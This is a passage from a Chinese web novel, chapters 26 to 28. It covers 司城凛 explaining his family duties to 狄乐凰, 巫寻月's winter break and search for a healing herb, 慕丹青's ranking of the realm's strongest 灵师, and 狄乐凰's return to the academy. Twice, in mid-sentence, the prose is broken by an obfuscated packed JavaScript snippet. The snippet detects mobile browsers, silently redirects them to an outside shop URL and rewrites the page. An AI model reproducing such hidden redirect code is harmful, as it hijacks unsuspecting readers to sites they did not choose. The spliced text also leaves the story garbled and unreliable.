“那你也该知道,参天大树若是倒塌,也不过是一朝一夕之事,你也该知道何为家族兴衰,何为斗争沉浮,”司城凛干脆就把话一次跟她说个明白,“我如今年纪尚浅,若有幸父亲再撑个十余载,我大可安心些过些我自己的生活,可谁也不知道父亲还能撑多久,一旦父亲倒下,由我接任,你可知我要面对多少宗亲的质疑?你可知九部令部下如何需要我稳定军心?你可知司城家有多少事务需要我全权接管建立威信?你又可知,十一令、天听阁、还有你们这些世家大族,所有来自外界的眼光又如何盯着我是否胜任?我需要做到如何才足够保持司城家的威慑?甚至是对风族、对人族的威慑?” 26. 第 26 章 26. 狄乐凰完完全全呆住了。她竟真的没有想过,司城凛不过年长她五岁,就要比她负担这么多这么多……甚至,比梅见蹊负担的要多很多倍。 说完这些,司城凛少见地叹了口气,竟似有些倦意,再道:“我身上有太多太多比儿女私情更重要的事,容不得我半点分心。” 司城凛所说句句是不刊之论,无可辩驳。狄乐凰被他震住,也实在无理再纠缠,可到底,她心疼巫寻月啊,明明两人道别前她答应得好好的,这要她如何回去交代?明明巫寻月那么坚定地鼓励她不要放弃言萧鹤,她怎么能转头就背叛她,帮着司城凛去瞒着她呢…… 狄乐凰不知说什么好,想了半天也说不出口:“阿凛,你的确是不易,我……” “你身为狄家郡主,也该有你的担当,”司城凛打断了她,言辞中冷厉不减,“既你知道我和她的事,想必也已经知道了仙品寻月草,可觉得与你狄家天赋相吻合?狄家族老之前可曾有担心?” 此言如同惊天之雷,一举将狄乐凰击噬,她不再说话,听司城凛继续说:“虽仙品寻月草功效不及归元赋十分之一,也没有归元赋重塑灵脉之核心,但也足以说明,这世上总会出现我们始料未及之物,五大宗族不是永远稳固——你难道忘了五大宗族何为五大?忘了弥家是怎么没落的?” 狄乐凰如同惊魂未定,完完全全被他震慑住了——司城凛啊司城凛,你还真是不愧为宗门之首的继承人,灵族史上无出其右的天才。 半晌,狄乐凰才稍稍稳定一些,好笑道:“你今天跟我说的话,可真是比你之前所有跟我说的话加起来还要多。” 司城凛不做声,狄乐凰抬头看向他,小心地问:“那阿凛,你要我如何对她交代?” 司城凛眸色一变,一扫方才的威凛之气,多了隐忍和无奈。他动了动唇,最终说:“若有缘,我们会再见。” 狄乐凰泪光闪动,于心不忍,却也只能说:“我明白了。” 那日狄乐凰临走时,许是作为交换,司城凛最终答应了助她修炼。因此,哪怕边境苦寒,狄乐凰也一待就是两月。 有时她被打得倒在雪地里动弹不得,几无意识,灵力险些溃散。司城凛走到她身边,居高临下,淡淡道:“若是放弃,尽早回神都疗养。” 她最终咬着牙,从地上爬了起来。 司城凛问她:“值得吗?” 狄乐凰寥寥一笑,道:“寻月也会这么选的,你相信吗?” 司城凛似有些回避,良久不言,可还是忍不住问:“你与她……似乎也未相识太久。” “可世上就是存在另一个和自己一样的人,”狄乐凰看向他冷峻的脸,眼带质问,“我懂她,她也懂我。” 狄乐凰在边境开始训练时,巫寻月的寒假刚开始不久。 新春将至,家里忙得很,巫画荻赶着在年前把桑家最后一批货发出去,巫寻月也前前后后给她帮了许多。 自她回家,秦艽几乎快要住在她家里了,每天都粘着她要她说神都的事,事无巨细,她说什么秦艽都觉得有趣。 秦艽憧憬地望着她:“神都真这么好,我也好想去神都……” 巫寻月说:“阿艽,我仔细替你想过了,若是在神都城中做买卖营生,人情关系实为复杂,不仅要与粮政、城防等多方打交道,还要应对邻里关系,你年纪尚小,怕是过于为难。我学校外不远的都前驿或许好些,客人要么是临时落脚客,很快就走,要么是在校学生,大家年纪相仿,好说话些,若你想去神都,可向你爹娘问问此处。” 秦艽万分惊诧,感动得难以言表:“阿月,我……” 巫寻月也期待地看着她:“若你能去神都,我在神都也算是多了一个亲人呢。” 白天她在给巫画荻帮忙,只好晚上悄悄前去垩山——毕竟她现在已经知道小白更喜欢夜间玩耍了,夜里去找她也更合适。 一人一兽坐在花海间,巫寻月正用控术在头顶上画出一圈光环,那是她放假前让慕丹青教她的,就是为了夜间来垩山时做照明用。 可光圈刚一成型,巫寻月就打了个长长的哈欠,往小白身上一倒,说:“小白,我好困,白天实在是太累了。” 小白便也乖乖趴下,让她就这么枕着自己睡着了。 巫寻月预想为狄乐凰找寻那株灵草,名为蚀愈花,一株一花,茎秆如玉,花瓣如霜,布满冰裂纹,独花蕊血红。以花蕊、花瓣一同入药,可根除毒性、修复疤痕。 巫寻月从前在山里玩耍时偶然见过,当时并不知这花的效用,随手采了一朵回家,木香觉得好看就用来给她做甜点吃,谁想吃下之后,她腿上一道被毒草割伤的多年留疤,竟很快消退了,如同从未受伤一般。 可巫寻月再回山里想再采的时候,却无论如何都找不到那花了。小白说她也难得一见,这花养分奇特,稀罕才开出一朵,不及时采摘也就谢了,若想遇到,也得看缘分。 整个假期,除了在家里忙活,巫寻月几乎都泡在山里找蚀愈花。终于不负有心人,一次深夜,她在深山极隐蔽处一汪热泉附近,见到了这株灵草。 她将装着狄乐凰血液的竹管取出,小心滴在蚀愈花的根茎生长方向——这是桃老师私下给她教授的方法,此法能验出入毒已深的血液是否还有能祛毒的可能。 所幸,很快那滴血融进了土壤之中,成功了。 元宵之后不久就要开学,狄家托邬戍城驻城灵师给巫寻月带话,镇虚鳐会按时过来接她。虽然小白也想送她,但是临近开学,各地前往神都的灵师灵兽众多,她怕小白暴露踪迹,决定还是随镇虚鳐返校。 她与小白约定好,每月第一个旬休日小白可到学校找她,带她一起出去玩。小白听了之后,开心得直在地上打滚,尾巴左右拍打,不小心甩出一道罡风,将山林中的土地切开一里地的裂痕。 巫寻月呆呆地看着大地上那道裂缝,叹为观止道:“小妞儿,你还真是上古灵兽啊……” 镇虚鳐车驾独自前来邬戍城接巫寻月,两日后回到神都学宫,狄家侍女已在断崖等候。 巫寻月向侍女询问狄乐凰所在何处,侍女说:“郡主还在边境修炼,尚未归来。” 巫寻月谨记不可将狄乐凰修炼所向告知侍女,便换了个问法:“学姐到边境有多久了?” “已有一月了。” ——那么,说明司城凛肯让她留下,偷偷帮她训练强攻术法了。 其实这个中取舍,狄乐凰并未告诉巫寻月,是她自己想明白的。若同时修习两个方向如此简单,那长隐洲早就遍地双修灵师了,如此分明,必定是因为此消彼长,所以双修系才会被称为罕见天才。据她所知,当今在任封号灵师中只有一人有此能力,那便是梅校长。 所以,司城世子肯留下狄乐凰,要么他是个酷烈之人,丝毫不关心狄乐凰灵力提升受损;要么,狄乐凰用什么理由说服了他。 ——难道司城世子会因为支持她去追求所爱之人而答应?可据巫寻月了解,司城世子冷峻寡言,轻世傲物,可不是这样通人情世故之人啊。 可若是……他肯怜悯狄乐凰为情所困,也许,也能怜悯她巫寻月,将那人的身份告诉她。 无论如何,神都学宫一年级下学期开始了。 历史课如巫寻月所料,《灵族史:下》继续讲述长隐灵洲几千年历史。第一天她就将课本翻开大致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674302|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫一眼目录,其他历史沿革都算常规,只有一行标题引起了她的注意——灵器时代之启。 以她浅显的理解,这必定与司城家史息息相关,甚至可以说,灵器起源史,就是一部不折不扣的司城家史。虽然她不像大多数人那样对那位至高无上的世子充满向往,可因她手上这枚就连贵族见了都惊叹的罡灵坠,她难免也会对司城家心生好奇。 巫寻月刚要翻开那页,就听见锦章说:“这学期多了好多实践课啊,堪舆课有一半都要外出,药理课不仅大半在药园里上,还有不少野外实践呢,就连驯兽都有野生灵兽实践课!” 定雪莲附和道:“我听我学姐说,这学期期末考试就要有综合科目了,考场设在山下的万映河谷,那里栖息着诸多野生低级灵兽,综合科目不仅包括考武术、遁术,还有堪舆、驯兽、药理,考了这些半天下来自然是消耗灵力,这时便要考验调息了。” 鹿晴晴惊叫道:“天哪!要考大半天?我们才一年级啊就这么上强度吗?” 巫寻月津津有味地在一旁听着,脸上不自觉已挂满期待——她当然期待了,她有什么可担心的,她可是年级第一名。 突然,锦章就转头对向了她,可怜巴巴道:“寻月!你可得救救我!我遁术简直一塌糊涂!” 定雪莲和鹿晴晴也赶紧过来抱大腿:“是啊寻月,你得救救孩子啊……” “好好好,”巫寻月放下了历史课本,抓着她们的手道,“你们要是有不明白的就都问我,晚上我们可以一起练功。” “太好了!” 此时,屋外突然传来喊声:“——巫寻月!” 几人同时朝外看,却还未见到人影,锦章便说:“你双胞胎来了。” 鹿晴晴和定雪莲都在偷笑,巫寻月也笑着跑了出去。到了门口,就见慕丹青身着青白色劲装立在墙头,冲她一挑眉头,明媚地道:“来看看你这一假期,遁术进步了多少——” 话音未落,她人已消失。巫寻月会心一笑,一个起身便踏风追去。 慕丹青考她什么不好,竟挑准了遁术?这不是在别人的专业领域上闹笑话吗?我们巨翼幽虎的名号是吃素的吗? 不久后,巫寻月在山腰古树的树杈上追上了慕丹青,慕丹青靠着树干喘气,诧异道:“你这小丫头,一个多月时间怎么进步得如此之快?都快赶上我这个五年级的了……” 虽是同龄,可巫寻月一年级,又对灵力世界知之甚少,思考时又显得十分呆萌,所以在慕丹青心里始终拿她当妹妹。 可慕丹青的遁术水平可不低,巫寻月勉力追上她同样累得气喘吁吁:“你可……可服气?” “哼,”慕丹青嘴硬,“你怕不是开学一路用遁术从老家过来的吧,连跑多日,所以才进度这么多。” 巫寻月什么都能对慕丹青说,唯独小白,不能。她顺着转了话,说:“是乐凰学姐叫了家里车驾来接我的。” 这俩人跟双胞胎似的形影不离,慕丹青当然知道她放假是怎么回的家,所以她又问:“那你帮她找到那灵草了吗?” “找到了,”巫寻月笑起来,“真是找了好久,在我快要绝望的时候找到的。” “那就太好了,”慕丹青还不忘她这逆天般神速进步的遁术,又说,“你该不会是天天在山里跑出来的这遁术吧?” 这回慕丹青说对了,虽然不知有巨翼幽虎这位陪练,但巫寻月欣然承认道:“是啊。” “可我也常常飞越山岭训练,怎不能如你一般进步,难道是方法不对?”慕丹青认真反思,“我观你身形似乎并不常规,不仅依靠腿力,像是重心放低,带动整个身体,有些像是……像是兽类跃过溪涧般轻巧。” 27. 第 27 章 27. “咳咳咳……”竟被她一语猜中,巫寻月心虚得呛了喉,“我……我是有向兽类学习,所以你可发现,相比起轻功,我更擅于瞬移?” 巨翼幽虎自带双翼,因此长距离转移不需要用轻功,更多展现的是在山间跳跃时的爆发力,因此,巫寻月学的多的也是爆发,运用到遁术上,对应的就是瞬移了。 慕丹青若有所思道:“是啊,即便是长距离,你也更喜欢用瞬移而非轻功,可老师所教,瞬移多用于战斗时,轻功则是用于平常转移。” 巫寻月说:“我是觉得不必如此死板,得看自己的运用情况,同样是一段距离,你用哪种方式能更快且更省力地到达,那便是好的。” “你说的是,”慕丹青回想了想,又说,“可我发现你有一不足,你起步时发力过猛,时常暴露自己,你要知道遁术的核心之一便是隐藏,这要是在战时,无法藏住自己的身形那可是致命的。” 巫寻月心服口服,噘嘴道:“又叫你说中了,我也正愁这个问题呢。” ——因为小白有肉垫,她没有,人家起步无声,她的鞋可不行。 玩够了,两人一同散步回宿舍。 慕家是世家大族,对于高层间的许多消息自是十分灵通,慕丹青又带来了高层间的一手消息:“听我伯父说,春节期间二令封座乔姬回神都述职,一令封座漆听邀她一战,你猜结果如何?” 鉴于多数人对一部令“关系户”的刻板印象,巫寻月对这位统领一部令的一令封座也没什么好印象,便猜:“乔姬封座赢了?” 慕丹青一脸“我就知道”,眉头一挑,揭晓道:“漆听封座——险胜。” “——啊?”巫寻月张了张嘴。 “你是不是以为,一部令多是关系户,所以漆听封座实力应该也有水分?” “……我可没这么说……好吧,我是这么想的。” “我还不懂你?”慕丹青推了推她的头,又说,“那你可想错了,一部令负责神都守备,一令封座这个位子可谓重中之重,一点水分都掺不得。” “原来如此……”巫寻月算是刷新了认知,她抱着慕丹青的胳膊,粘着她问,“我上一次听说十一令封座们的名字还是入学前在双凫船上呢,那时有同学报了战力榜前十的排名,可惜我当时一个也不曾听说,所以除了大灵师,一个也没记住——你现在再跟我说说呗。” 一要聊起十一令这代表灵师巅峰战力的队伍,慕丹青不自觉肃然起敬,腰杆都挺直了些,如数家珍道:“那你听好了——这战力之首自然是大灵师,控制系,大灵师毕业时已是隐灵境,此乃千年不遇之神功,如今其战力已远非一般封号灵师可比。” 巫寻月问:“那是不是就只有大灵师一个人以隐灵境毕业呢?” 慕丹青缓缓转头看她,满脸的难以置信:“巫寻月,司城世子不要面子的吗?” “……哦!”巫寻月恍然才反应过来,“是哦,好些人跟我说过司城世子毕业已是隐灵境,所以才被称为千年不遇之才。” “你真是一点不把司城世子放在眼里啊——难道司城世子还能不如你那不知姓名的心上人?” 巫寻月白了她一眼,扯了扯她胳膊:“你继续说你的。” 慕丹青继续说:“这第二嘛,都说是司城宗主与梅校长并列,两人皆是控制系,司城宗主所执掌的九部令主擅大型战场,是灵师精锐中的精锐,而我们梅校长……坊间有两派说法,一派认为司城宗主的实战记录傲人,且他为人谦和,说与梅校长并肩也许多有褒扬之意,若要论个高低,应当还是司城宗主略胜一筹;这另一派认为,梅校长是灵族史上难得的双修之才,并且桑宗主也颇喜欢找他讨论医道,搞不好还是三修全才,隐藏实力恐怖如斯,也许真的比司城宗主略高一筹。” 巫寻月注意到:“桑宗主时常会来找校长吗?” “是啊,”慕丹青猜想到她的目的,便说,“你想见识见识桑宗主吗?” 巫寻月笑了:“想是想的,毕竟家里为桑家供药,我每回去灵宗庙也不忘祭拜比农宗,总想见识一下这唯一的医疗系封号灵师是什么样。” 慕丹青说:“桑宗主为人宽和,桑家世子一心泡在药里,不常见,桑家姐姐是好说话的,若有机会,我可带你同去。” 巫寻月开心得黏住她胳膊不撒手,道:“好了好了,你继续说。” “这第三——不,第四嘛,就非三令封座云崖朝乾莫属了,他也是控制系,”慕丹青接着说下去,“之前同你说过,三部令执行只抓不杀任务,也就是活捉,这比直接击杀要难,因此云崖封座的战力是公认的巅峰强者。” “第五就是七令封座赦罗,他是一位强攻系。” “等等——”巫寻月盘了盘,说,“似乎前四皆是控制系?” “那是,”慕丹青骄傲地挺起胸膛,“灵族战力排行千万年来几乎皆由控制系灵师垄断,封号灵师中大部分也都是控制系,要不怎么说控制系最难呢。” “那这位七令封座得有多强啊……” 慕丹青十分恭谨地说:“的确,赦罗封座的战力,在强攻系灵师中可谓是天神般断档的存在,他单体爆发力极其恐怖,就连排名在他前几位的封号灵师也很难扛住他的攻击,但毕竟控制系灵师封控术法登峰造极,赦罗封座在这上面是有些吃亏。” 巫寻月突然好奇:“也就是说,若单论武术攻击,赦罗封座的排名还能再高?” “再高是一定的,可能高过谁,也不好说。”慕丹青很谨慎。 “好好好。” 慕丹青说下去:“第六就到了一令封座漆听——你以为人家有水分的那位,漆听封座也是控制系,据说,若是神都有变,他能立刻将人击杀于十里之外。” “好好好……” “第七便是刚与漆听封座一战的二令封座乔姬,也是一位强攻系,乔姬封座常年驻守山海洲,现在是和平期,每年回都述职时能多待些日子,可若是好战期,可是一刻也离开不得。” 巫寻月要提问了:“我不太明白,像驻军这样的大规模战场,为什么是派强攻系灵师作为统帅呢?按照我的理解,或许九部令这样擅长大型战场的部队更合适呢。” 慕丹青莫名其妙地看了她好一会儿,才反应过来什么,好好解释道:“因为灵师不能在山海洲使用灵术啊。” “——啊?”巫寻月震惊得停下了脚步,骇人听闻般瞪大了眼睛。 慕丹青叹气,说:“我总算明白灵师家庭的孩子和平民家庭的最大区别在哪了,许多我们习以为常的事,原来平民竟是从未听说。” 巫寻月还沉浸在震惊之中,久未回神。慕丹青主动为她解释了下去:“是——我们灵族不能在人族山海部洲使用灵术,至于为什么,我懒得跟你解释,你自己回去读书——好像你差不多就要学到了,尤其是到了开启灵器时代那一段,会明白得彻彻底底。” 果然,整个灵族史,都与整个司城家史息息相关。 过了半晌,巫寻月才缓缓恢复:“所以……必然是不会派控制系灵师驻守山海洲的,只能是极其强大的强攻系灵师,在不使用控术的情况下也能统领战场?” “没错,”慕丹青冲她比了个大拇指,“但即便是武术,想要与武器结合爆发强力,也需要运用灵力,因此,强攻系灵师在山海洲的战力是有所抑制的——你现在可以想象乔姬封座有多强了吧?可她回到长隐洲,灵力大开的情况下还是打不过漆听封座,你可知漆听封座有多恐怖了?” 而比漆听封座更恐怖的,是前面还有五个比他更强的人。 “好好好……”巫寻月惊魂未定。 慕丹青不理会她,一边往前走,一边说:“到哪了——噢,第八是闻人阁老,他是大家最熟悉的一位阁老了,因为排在第九的五令封座穹仪一生视他为梦想,所以常常找他比武,这两人的实战记录比较多,总的来说闻人阁老要强于穹仪封座,这两位都是控制系。” 巫寻月帮她说完:“第十该到你伯父了吧。” “没错!”慕丹青下巴翘得比天高,“第十便是我伯父,六令封座慕之遥,也是控制系。我伯父统领的六部令主防御,许多防御类控术出众的毕业生都想进六部令。而穹仪封座的五部令主水战,因此,许多冰系和水系灵师也都想进五部令。” “所以,每一令都有各自擅长的战场类型,也有各自的主要战略目标?” “那是自然,这些都是千万年以来由十一令与天听阁逐步确立的。” 巫寻月突然想起来什么,即刻问:“那……八令封座呢?” “你是说言萧鹤言封座,他刚刚封灵,在现任十一令封座中是最年轻的,自然是排不上来,”慕丹青说,“言封座又是强攻系,年轻且是强攻系,一般被认为战力处于十一令下游。” “原来如此……” 慕丹青自然还是肃然起敬的:“可言封座还很年轻,未来也不容小觑。” 说起年轻这个词,巫寻月可算是想起来一个人了,她立刻又问:“哎不对,我想起来了,你上学期还说了司城世子与风族那个敖什么一战后,战力可进前十了呢?” 终于轮到慕丹青面露为难了——若说司城世子强于她伯父,她不甘心,可……这大概率是事实,再不济,也应当是平手。 慕丹青有些违心但又不得已说:“司城世子……还太年轻,或许不够稳定,论战斗经验自是我伯父更胜一筹,可等不了几年世子变得更强,我伯父确实很容易被他赶超。” 巫寻月得逞一般说:“算你公正。” “——喂!巫寻月!” 刚开学的夜晚,又还是冬天,校道上稀稀疏疏只有几人的影子。可这俩姑娘一路说说笑笑,打打闹闹,即便是严寒的天,也觉得身子暖烘烘的。 巫寻月做了一番总结,道:“这么说来,前十里有八位控制系,两位强攻系,除了大灵师、校长以及闻人阁老,其余七位都是十一令的座首。” “没错,十一令为灵族战力巅峰,此乃实至名归。” 巫寻月脑洞大开,说:“你说有没有一种可能,有一个人从没来神都学宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674303|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学过灵术,也不知道什么强攻系控制系医疗系,全凭自学成才,也不在天听阁的视线之内,从未听闻此人,其战力却可敌封号灵师呢?” 慕丹青的白眼简直要翻上天了:“巫寻月!你脑子里都在想什么啊!你赶紧给我回去读书!” 慕丹青告诉巫寻月,以上这些信息,在高年级的就业指导课上会有讲述,可多半是讲给平民家庭的孩子听的,对于灵师家庭的孩子,这些事早就烂熟于心了。所以,哪怕她现在才一年级,距离毕业尚且遥远,但早一些知道总是好的。 毕竟,灵师家庭与平民家庭之间有太多太多的信息差,还等着巫寻月慢慢去挖掘。 比如——灵族无法在山海洲使用灵力,这真是巫寻月开天辟地头一回知道。在平民的心目中,灵师就是无所不能之神,带领灵族横扫千军,天下无敌,可竟然……是有所限制的。 为此,巫寻月这一夜辗转反侧,难以入眠。 细想诸多史实关联,她已然有了一些猜想,只是,还需翻书求证。 巫寻月自以为很快就能有时间去查阅这些,至少是提前把《灵族史:下》读完,可她错了。没想过这一开学,课业压力竟是上学期的数倍,不仅课上消耗体力,疲惫不堪,老师们还留下了繁重的功课要她们回去做——尤其是巫寻月,单独给她留的功课更难。 而慕丹青也是自顾不暇了,她计划在五年级结束前冲击八重灵,这样预留两年时间,或更有把握在毕业前达到九重灵,成为优秀毕业生。 到了难得可以歇息的历史课,累趴了一大片同学。 梅见蹊也不在意,任他们想睡就睡,看热闹不嫌事大地提醒道:“这只是个开始,当然要慢慢给你们上强度,等你们习惯了,往后就不觉得苦了。” 全班异口同声:“——啊?还要更苦。” 梅见蹊这倒是认真几分:“神都学宫本就是为我族培养战士,你们可当是来此享乐?” 当然也有人问过他:“老师,您为什么要在神都学宫教书呀?而且还是教历史。” 众人聚精会神,没人不对此感到好奇。 梅见蹊好大声地“呵”了一声,说:“你觉得呢?” 慕学文大概是在世家大族间对他的脾性早有了解,便说:“历史课好教,不浪费你的精力,你便可有很多自己的时间修炼了。” 梅见蹊十分赞赏地看向他,大言不惭道:“哎——对嘛!” 有人悄悄问身边人:“梅老师这样子……真会偷偷修炼吗?” 没人不在怀疑这个问题——梅见蹊这吊儿郎当的样子,真的会努力修炼吗? 但无所谓,毕竟最着急的不会是他们,而是他亲爹——梅校长。 时间进入四月,毕业生的毕业大考安排在五月,所以,狄乐凰回来了。 这自然是个轰动的消息,学校里狄家郡主的粉丝不少,很快就传开了,他们组织好了应援团到断崖处相迎,并贴心地准备小礼物预祝她毕业大考顺利。 巫寻月和慕丹青跟着一块去凑热闹,只在高处远观,不去近处挤占粉丝位置。到了日子,断崖处提早挤满了等待的应援团,待镇虚鳐出现在天幕那一刻,涌起一片热烈欢呼。 前来相迎的还有司城家郡主司城迦染,后边那些应援团里有部分属于她的粉丝,司城迦染返校这半年放学后都是乘坐烈火驹回家,从未留校,因此,她的应援团不会错过这个能近距离见到她的机会。 巫寻月凑近慕丹青,小声说:“为什么我总觉得司城郡主有些神思忧虑,她一直是这样吗?” 慕丹青更是压低声,说:“不是,迦染郡主从前相当顽劣,不然也不会辍学,听说是司城宗主久病不愈,她忧思过度,才变成这样的。” “……那还真是很担心呢,她一直这个模样,我还以为是本性如此。” 镇虚鳐终于降落,狄乐凰从车驾出来,全场尖叫声达到高潮。司城迦染前去相迎,两人相对行礼,举手投足间展现出最高规格的领袖宗门风范,一颦一笑皆是教导出来的顶尖世家贵女风姿,引得许多围观的女生纷纷效仿。 果然这两人一同框,狄乐凰就美得太太太突出了,明明司城迦染已是难得一见的美人,可两人站到一起,狄乐凰仿佛美得超出尘世,没有人能从她脸上挪开目光。 巫寻月不由得喃喃:“这言封座竟然能拒绝得了……” 慕丹青凑过来:“什么?” “没什么!” 两人还在寒暄,慕丹青看着她们说:“狄郡主消瘦不少,她真是舍得苦修啊……” “是啊。”巫寻月重重沉了口气,没人比她更心疼狄乐凰,只有她知道狄乐凰在苦修什么,又是为何苦修。 两人说完话,要往这边走了,应援团一路在身后跟随,陪她二人说笑。偶然间,狄乐凰抬头,一眼便看见了不远处的巫寻月——她又何尝不是突出得与这尘世不在同一层次呢。 狄乐凰眸光闪动,欣然唤道:“寻月——” 众人顺她视线看来,有人当即意识道:“天哪!她们要同框了!” 28. 第 28 章 28. 狄乐凰说着,提步便向巫寻月走来。巫寻月与慕丹青一同迎上前去,几人会面,两人一道行礼:“学姐好。” 狄乐凰冲她们笑起来:“天气这么冷,谢谢你们还舍得来接我回校。” 慕丹青与狄乐凰早已相识,说话间也很熟络:“学姐,天气越冷才越要来呢,我们都来给你暖暖心窝,这便也不觉得冷了。” 狄乐凰努努嘴,调皮地说:“你这张嘴什么时候学得如此乖巧,可是听了老师们的话跟寻月多待在一起,学得乖巧了?” “学姐!”慕丹青要抱怨了,“怎么你也被她骗了!她哪里乖巧了!” 狄乐凰笑了起来,看向司城迦染,说:“现在最乖巧的还得是迦染,要不然啊你和这两尊活佛同时在校,只怕梅总务要整日忙着捉拿你们,愁得头发都要白了。” 司城迦染似有些偶像包袱,小声唤道:“乐凰姐姐,这么多人看着呢……” “哈哈哈哈……”几人一同笑了。 围观群众同样也在议论纷纷:“哎哎哎,世纪同框啊!之前一直说想看狄郡主和巫寻月一同出现,好比比看究竟谁更美的,现在觉得如何!” “我还是更吃巫寻月的颜,五官冲击力太强了,明艳得根本看不见别人……” “可是郡主极其优雅端庄,如皓月一般皎洁,太像仙女了……” “要我说啊,这俩不是一个类型,根本比不出来……” 巫寻月和狄乐凰的确不是一个类型,完全不是。巫寻月的五官浓墨重彩,如精雕细琢,定神时妩媚,微笑时甜美,总让人想一口吃掉。狄乐凰则是恬淡温润,如水墨留白,自带疏离气质,不食烟火,总让人忍不住保护。 若巫寻月是一扇溢彩琉璃,则狄乐凰是一盏沉静白瓷;巫寻月似山茶朝露,狄乐凰如空谷幽兰。可偏偏,她们彼此的名字与气质仿佛对调了一般,该如火的名为月,该如月的名为火。 众人大饱眼福,或许她们二人实难相较,但有一点绝无一人能否认——她们二人之姿容,已然是独一档的倾城绝世,足以立为标杆,比对古今。 狄乐凰注意到巫寻月一直未言,将目光投向她,问:“寻月怎么了,怎么一直不说话?” 巫寻月看着她,寥寥一笑,道:“方才离得远,只觉得学姐你身形消瘦不少,现在细看才发现……你实是憔悴了许多,心想学姐修炼实在辛苦,有些……” 两人相视,狄乐凰知她心意,上前握住她的手,安抚道:“好啦,知道你心疼我,可我修炼功成,你该为我高兴才是。” 相视之间,巫寻月眼底迸现欣悦——她竟真的成功了!她才要道贺,就感觉到狄乐凰握着她的手与她的皮肤擦出燥感,她心头一惊,赶忙将狄乐凰双手翻开——那上头冻的、破的、裂的,新旧交叠,伤痕累累。 巫寻月再抬头时,眼中已带了泪光:“学姐你——” “好啦,”狄乐凰按住她,冲她眨了个眼,“我没事,已让家中备了药,只是我刚回到,还没来得及擦上,等过几天就好啦。” 巫寻月不知所言,忍了忍,只好说:“好。” 一行人一同往回走,说笑间分享些学校和神都城近来的趣事。到了该分岔的路口,该是宗族间有事要谈,司城迦染要陪同狄乐凰回宿舍,巫寻月与慕丹青便与她们道别了。 分别时,狄乐凰并未主动说何时去找巫寻月,巫寻月却记着那蚀愈花,便说之后有空过去寻她,她说好,与她道了别。 巫寻月与慕丹青往宿舍走,见她闷闷不乐,慕丹青凑过来问:“怎么了?郡主修炼真灵境,是要下一番苦功夫的,你我以后不见得比她轻松,这就吓到了?” “才不是吓到,”巫寻月气得去踢路边的石子,嘟嘟囔囔低骂道,“言萧鹤是个什么烂人啊!” “你说什么?” “……”巫寻月闭口不言。 巫寻月还未察觉到慕丹青神色不对,听见她“喂”了一声,也不回头。慕丹青双手抱胸,挺着下巴,闷闷地道:“喂,我问你,若是我修炼也这么受伤,你可也为我这么心疼?” 巫寻月这才回了头,莫名其妙地看着她——向来都是慕丹青这样看她的:“慕丹青你脑子有病啊?” “我就知道你不会,”慕丹青气得一下子把手甩开,“人家郡主姐姐恬静柔弱,一看就招人心疼,我就不一样了,我看起来就是受伤也不用安慰的。” 巫寻月拧着眉头看了她好一会儿,爆发出大笑:“哈哈哈哈哈——” “你笑什么笑!” “慕丹青,你居然在吃醋。” “我哪有!” 巫寻月跳过去一把抓起她的手就走,好言劝慰道:“好啦,我自然也是心疼你的,但我觉得到时候应该会是我俩抱头痛哭,你说是不是?” 慕丹青想了想,才恍然大悟一般:“对哦。” 巫寻月对她说实话:“刚才我对学姐如此忍不住,是因为我知道她这么苦并非全为了自己,我替她感到不值,可是丹青,这些是学姐的事,我不能说。” “哦,原来你们还有小秘密,”慕丹青又变了脸,“不对啊巫寻月,你跟乐凰郡主才见过几次啊?怎么就有这么多小秘密?” “是有一点,不过嘛,以后你就知道了。”巫寻月挨着她说。 “以后?为什么是以后?” “哎呀反正以后你就知道啦!” ——等我找到他的时候。可我也不知道,我什么时候才能找到他。 之后的一段日子,狄乐凰都在躲着巫寻月。但她理由充分,毕业大考在即,且她苦修半年元气大伤,得先好好歇着养身体……因此,巫寻月并未察觉有异,听说她正用药调理身体,巫寻月也觉得此时不宜给她再用蚀愈花。 可这种赤裸裸的背叛感,却始终刺痛她的心。熬不住的时候,狄乐凰就去找梅见蹊大哭。 “你竟也帮着司城凛骗她!”狄乐凰说着又将他一沓书从桌上扔下。 梅见蹊欲哭无泪:“……我能有什么办法?那是司城凛,你敢得罪他?你去啊。” 狄乐凰直说气话:“去就去,我难道还怕他不成,他又能将我如何?” 见她真的要冲出门去,梅见蹊大惊失色,一个大动作将她拦下,苦苦哀求:“哎呦我的天哪,小姑奶奶,我求求你了你冷静一点。” 狄乐凰一把将他推开,可也不再动了。半晌,她啜着泣,慢慢地道:“我也知道阿凛的难处,他跟我说了许多道理,我知道他都是对的,他实在也是没有办法……” 见她冷静多了,梅见蹊松了口气,也好好与她说道:“其实你换个角度想,寻月这个时候知道他的身份,对她未必是好事。” 狄乐凰抬头看他,有些不解,梅见蹊笑了笑,继续说:“或许你体会不了,可你也试着从她的角度想想,她一个从边陲之地平民之家来的女孩,涉世未深,功力尚浅,突然一下子知道那个人就是至高无上远如天边的首宗世子——将来的司城家宗主,九部令座首,你觉得……她能接受吗?” 狄乐凰说不出话了,梅见蹊替她说了出来:“她接受不了的,她也不愿意接受,你信不信,以寻月之聪慧,过不了多久她就会知道的——又或者,她隐约已有所猜测,但绝不敢往司城世子身上去想。” 狄乐凰沉默了半晌,郑重地说:“我比你了解她,我相信她会勇敢的。” 